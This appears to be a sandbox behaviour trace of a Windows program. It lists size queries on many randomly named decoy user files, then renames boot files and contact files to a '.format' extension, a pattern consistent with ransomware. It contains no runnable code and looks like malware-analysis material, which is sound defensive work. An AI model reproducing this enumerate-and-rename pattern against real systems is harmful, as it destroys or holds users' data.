Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url type = size, size_out = 134 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url type = size, size_out = 133 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\AgflLmjIeW_yukDHb.wav type = size, size_out = 35595 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\I31baSbQKLnY9a9KtlkI.wav type = size, size_out = 92677 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\m09KxI.wav type = size, size_out = 73845 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\C04Fzue-Z7KVyl_\XSe4rk8zSjxa.m4a type = size, size_out = 97400 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\5MaZVY_Q.wav type = size, size_out = 48067 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\EFI-R.m4a type = size, size_out = 47184 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\tBNdu.m4a type = size, size_out = 5259 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\-kF5YbTX2wf98csgLT.wav type = size, size_out = 81989 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\8 8rCdOQQ9YjD8.wav type = size, size_out = 79468 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\T0s4dbG.wav type = size, size_out = 21441 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\okHQRb\_BtMiEaYBTzY.wav type = size, size_out = 10900 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\bPu-.png type = size, size_out = 97452 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\j-PQ.jpg type = size, size_out = 81151 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\IGq6V3a\O1JQviCY05VrmDz2PZWI.png type = size, size_out = 64395 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\COFUGhxhYso60.gif type = size, size_out = 61417 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\hGyi-Cb.jpg type = size, size_out = 86110 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\VWPZkESw1UhD8UaF6.bmp type = size, size_out = 9840 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\E_wjAqxP.jpg type = size, size_out = 42798 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\mJWwPgUE-XZJ6.png type = size, size_out = 66622 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\Z0-FTm5ZigO3Mdrkmc.jpg type = size, size_out = 43915 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\CSSjndh.png type = size, size_out = 57305 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\DRyCH41NNCvFGT-d.gif type = size, size_out = 93805 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\qHy Bq3sd4UO\g5F7NFHxCw.png type = size, size_out = 36254 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\IwZE-JTO3c1j.swf type = size, size_out = 25892 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\msa0S6oHJtcg43Ia1l2.mp4 type = size, size_out = 14659 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\qGVWc3j9gq7bBp.swf type = size, size_out = 42914 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\syGCE5H.avi type = size, size_out = 55725 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\wvkOd8OJSRo.mp4 type = size, size_out = 54526 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\_bCx53v.avi type = size, size_out = 32008 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\1yz_dH-h0QVU25Eq5YS.mp4 type = size, size_out = 14791 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\2Z0X Os.mp4 type = size, size_out = 53419 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\K_xyj0OLm\HzNuu.wav type = size, size_out = 62309 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\ch1D7KyT.ppt type = size, size_out = 55377 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\pRF0TOZ.avi type = size, size_out = 48710 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\x4_ajppJoTbLYJ.swf type = size, size_out = 95891 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico type = size, size_out = 29926 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\953NwS YORsJs8ezCX.ppt type = size, size_out = 86774 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\e90mXCi.pdf type = size, size_out = 81683 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\vbjCBCCaRqTDVu75M.xls type = size, size_out = 6744 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\EFxNu5CIh50zqG.ots type = size, size_out = 27717 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\evs-mu2XZmDDq_3I.ods type = size, size_out = 63479 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\hHu6n-WhXpQLeR.ods type = size, size_out = 84199 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\mIvI FYocehkz.odp type = size, size_out = 30301 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\NiKTO1C7 RIwfLd.odp type = size, size_out = 99915 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\vnscV1A42YE34G.ods type = size, size_out = 87211 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Ck3vXIHItmOFDrYXb.csv type = size, size_out = 72112 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\lLiekJL.pdf type = size, size_out = 90705 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\QRZRxkH5oTlCYK.csv type = size, size_out = 3588 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\R03C.xlsx type = size, size_out = 6672 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vklleNEl.odp type = size, size_out = 45505 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\5Y-dBAy6zx3RY.m4a type = size, size_out = 23657 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\C91c9XEQcDJnxWtX_.wav type = size, size_out = 22216 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\M1OCBBo6An.mp3 type = size, size_out = 68471 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\nmmwY.mp3 type = size, size_out = 79760 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\aKq_c.m4a type = size, size_out = 88591 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\d Ca_C.m4a type = size, size_out = 18200 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\KGDQexIoJdVjE0xEfmf.mp3 type = size, size_out = 22642 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\o8TP1cQC154b0u.mp3 type = size, size_out = 74487 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\J_UJZySwifcC8f7CH.wav type = size, size_out = 3234 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\TZ8kXrTE.mp3 type = size, size_out = 39774 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\Ub2krgPHTK7\XZFs9ja.m4a type = size, size_out = 6844 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\cplLZefa0txn\4qhj.png type = size, size_out = 88648 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\K-bFjS1F.png type = size, size_out = 78937 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\TRNOm7PeOz.jpg type = size, size_out = 22979 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\JI_LbGFKzAkfRhFEM\xgFCgANlk.bmp type = size, size_out = 81026 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\a09hCY1lv p_IZ98.gif type = size, size_out = 50378 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\a51sNIVKR E3Ge8fV.bmp type = size, size_out = 85065 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\A8IAMc.png type = size, size_out = 34521 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\CabPSqWIP4Gw.gif type = size, size_out = 2247 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\IlZLf8gCsW02mWS.png type = size, size_out = 9968 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\qcM60n59qzNSf.jpg type = size, size_out = 48152 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\kC1ICfT8pFYQG\v-hwxlt-kD.gif type = size, size_out = 1857 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\njXXDQ38ulMrkg_7vJ\29qIuqRP.png type = size, size_out = 11737 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\LlZj-da3Lc0SAD\njXXDQ38ulMrkg_7vJ\BTq8-J4.png type = size, size_out = 91955 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\1L3e.gif type = size, size_out = 8799 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\5fx9fx.gif type = size, size_out = 56349 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\mwC61ttLhFHO7U8H\W20eWw_7BDOqTilgo1fv\C1kvrYt.gif type = size, size_out = 21903 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\O57pDGQlUBqcEPgoi.mkv type = size, size_out = 25617 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\rFlztk.flv type = size, size_out = 96609 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\T1u8H1vvlEAle1MGZ.gif type = size, size_out = 42079 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\7rSet.csv type = size, size_out = 54791 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\gx-9m.odt type = size, size_out = 13465 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\h72CJ5GET.ots type = size, size_out = 68171 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\I_dy9.xlsx type = size, size_out = 61164 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\18tCh2fbWO9uqJ4SH0r\gLb9EGvUD\s gpfWvsnWdJ9uw9U90P.xls type = size, size_out = 10892 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\6 XGwY-lUt_VoBNPc3ul.csv type = size, size_out = 41819 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\mWTdUCHrEprNZbw4.ppt type = size, size_out = 25403 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\FZM1YvnX6BDzLLQ_\2qASZGVP1ayqj\vJNcNYrw.ods type = size, size_out = 39919 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\5wR63HlMWYvMti0btzx.docx type = size, size_out = 96673 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\BfZiGgPvckLte.ppt type = size, size_out = 2778 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\CWuI5tTSoD.pps type = size, size_out = 93824 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\Pgl1JgetxAYIiS\stmz_Vxkz.docx type = size, size_out = 20626 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\785B1FSYcl.doc type = size, size_out = 1154 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\Cy1YKeDsElTUF.odt type = size, size_out = 68946 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\g6CVw2EHUNZkVnHB.docx type = size, size_out = 81167 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\qUE__ZQn.csv type = size, size_out = 35226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\tJu9GFmu.doc type = size, size_out = 5745 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yiub\ZHL2s_-N8agn\vKwwSOkmDf1R\YdDnZ8.csv type = size, size_out = 25365 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\oN6ToGM.wav type = size, size_out = 69303 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\TVjDvLMaCl23iZhTXt4.wav type = size, size_out = 34358 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\yXKk5eT.mp3 type = size, size_out = 14333 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\-GixDHhS.mp3 type = size, size_out = 74973 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\9Foxmgw_VTzUMX-5QnnJ.m4a type = size, size_out = 4870 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\qD42xM.wav type = size, size_out = 36081 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\vbIN9brYc.wav type = size, size_out = 87589 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\2HbpYbcNbRAx3BVQy_4\ZtnE68o.m4a type = size, size_out = 56131 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\0m0V.m4a type = size, size_out = 91600 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\1A2_P.mp3 type = size, size_out = 95117 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\I1WhKlENAwKn\z50Nlqq\UJ6BqLq.wav type = size, size_out = 74682 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\5Xxg.avi type = size, size_out = 33086 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\AVJ6FiEz4zaaIViNRlw.flv type = size, size_out = 63528 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\XkvJ3DgV.mp4 type = size, size_out = 72149 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\Ep5U\mgLfL.avi type = size, size_out = 96368 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\Ep5U\uXJJkT2ouMZrco.avi type = size, size_out = 10051 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\3H2e QdbjRnRRz5agWcn.mp4 type = size, size_out = 30693 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\9uSUEFdDE_x6kIyiIV5t.avi type = size, size_out = 29051 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\FQ-FG1l4EdSgSR3.mp4 type = size, size_out = 31618 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip type = size, size_out = 42495 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat type = size, size_out = 32768 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab type = size, size_out = 581730 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi type = size, size_out = 185344 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties type = size, size_out = 719 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab type = size, size_out = 25340970 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi type = size, size_out = 906752 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\06IT.bmp type = size, size_out = 54409 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\8e9tUhNS.mp3 type = size, size_out = 6604 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\AY5wVsgvxZG.mkv type = size, size_out = 42998 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xLckuuDeKXG\Q3tTjFbyLkyl\lAFKNLNIoK0mzGu\_gU8s-ivYxTsofJE\qWXQp5P.flv type = size, size_out = 80058 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\j Bzi11dBX.m4a type = size, size_out = 39154 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\lrQc.mp3 type = size, size_out = 79767 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\qIBKN1tzN.wav type = size, size_out = 44484 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\c8v-4o\3m1P\VaIh-oYg6BJgtgDU7\ZhcquXKYxwu7mV\SRxR.m4a type = size, size_out = 38102 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\AgA3ZST-09kNuz.avi type = size, size_out = 40707 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\n1AeAV2zVh4radr0H.swf type = size, size_out = 43344 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\QEzesBv71jyTVEofztiW.mp4 type = size, size_out = 3025 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\xO2H6bL0ka2.swf type = size, size_out = 71670 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\1lVVKbf-aOgvA-CAW_mM\857-pQdYn.swf type = size, size_out = 44175 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\oD8Tz2pMYKkYRQ-RJT2T\1lVVKbf-aOgvA-CAW_mM\zF1DR1kS3V.mp4 type = size, size_out = 8711 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml type = size, size_out = 836 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\bdG_-DYiIf114xqMAY.swf type = size, size_out = 17044 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\iZica-.avi type = size, size_out = 10335 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\3ymkgwpUkCk\Pmee\3Us5nuIYL1u_RnPPuJ\WnrIX\Qsu-c\pa U3CiwSuzLbnk.mkv type = size, size_out = 96725 True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Move C:\Boot\BCD.LOG1.format source_filename = C:\Boot\BCD.LOG1 True 1
Fn
Move C:\Boot\BCD.LOG2.format source_filename = C:\Boot\BCD.LOG2 True 1
Fn
Move C:\Boot\BOOTSTAT.DAT.format source_filename = C:\Boot\BOOTSTAT.DAT True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact.format source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact.format source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact.format source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact.format source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact True 1
Fn
